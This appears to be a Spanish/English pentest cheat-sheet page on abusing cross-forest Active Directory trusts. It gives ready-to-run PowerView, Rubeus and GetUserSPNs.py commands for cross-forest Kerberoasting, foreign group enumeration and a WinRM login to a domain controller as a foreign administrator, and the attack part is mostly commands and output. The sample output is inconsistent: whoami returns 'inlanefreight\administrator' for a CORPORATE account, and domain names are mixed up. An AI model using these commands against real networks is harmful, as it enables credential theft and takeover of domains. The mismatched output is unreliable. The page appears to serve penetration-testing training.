Cross-Forest Trust Abuse

From Windows

Cross-Forest Kerberoasting

Enumerating Accounts for Associated SPNs Using Get-DomainUser

Import-Module .\PowerView.ps1
Get-DomainUser -SPN -Domain CORP.LOCAL | select SamAccountName

Performing a Kerberoasting Attacking with Rubeus Using /domain Flag

.\Rubeus.exe kerberoast /domain:CORP.LOCAL /user:mssqlsvc /nowrap

Admin Password Re-Use & Group Membership

En entornos con trust bidireccional entre forests, si se compromete el Dominio A y se obtiene la contraseña o hash NT de una cuenta con privilegios (como Administrator o un Domain Admin), conviene comprobar si hay cuentas con el mismo nombre en el Dominio B. Si reutilizan contraseñas, es posible escalar directamente.

También es común que admins del Dominio A estén en grupos locales del Dominio B (como el grupo Administrators), lo que permite acceso total si se compromete esa cuenta.

Para detectar estos casos, se puede usar Get-DomainForeignGroupMember de PowerView y revisar foreign group membership, especialmente útil si existe un trust entre forests como con CORP.LOCAL.

Using Get-DomainForeignGroupMember

PS C:\> Import-Module .\PowerView.ps1
PS C:\> Get-DomainForeignGroupMember -Domain CORP.LOCAL

GroupDomain             : CORP.LOCAL
GroupName               : Administrators
GroupDistinguishedName  : CN=Administrators,CN=Builtin,DC=CORP,DC=LOCAL
MemberDomain            : CORP.LOCAL
MemberName              : S-1-5-21-3842939050-3880317879-2865463114-500
MemberDistinguishedName : CN=S-1-5-21-3842939050-3880317879-2865463114-500,CN=ForeignSecurityPrincipals,DC=CORP,DC=LOCAL

PS C:\> Convert-SidToName S-1-5-21-3842939050-3880317879-2865463114-500

CORPORATE\administrator

La salida del comando muestra que el grupo Administrators en CORP.LOCAL incluye como miembro a la cuenta Administrator de CORPORATE.LOCAL. Esto confirma que hay una relación de trust funcional entre ambos dominios.

Se puede verificar el acceso ejecutando Enter-PSSession vía WinRM, usando las credenciales de esa cuenta para conectarse al sistema remoto.

Accessing DC03 Using Enter-PSSession

PS C:\htb> Enter-PSSession -ComputerName DC03.CORP.LOCAL -Credential CORPORATE\administrator

[DC03.CORP.LOCAL]: PS C:\Users\administrator.CORPORATE\Documents> whoami
inlanefreight\administrator

[DC03.CORP.LOCAL]: PS C:\Users\administrator.CORPORATE\Documents> ipconfig /all

Windows IP Configuration

   Host Name . . . . . . . . . . . . : DC03
   Primary Dns Suffix  . . . . . . . : CORP.LOCAL
   Node Type . . . . . . . . . . . . : Hybrid
   IP Routing Enabled. . . . . . . . : No
   WINS Proxy Enabled. . . . . . . . : No
   DNS Suffix Search List. . . . . . : CORP.LOCAL

from Linux

Cross-Forest Kerberoasting

GetUserSPNs.py CORP.LOCAL/user:'password' -request -target-domain CORPORATE.LOCAL -dc-ip 10.10.10.10

Última actualización

¿Te fue útil?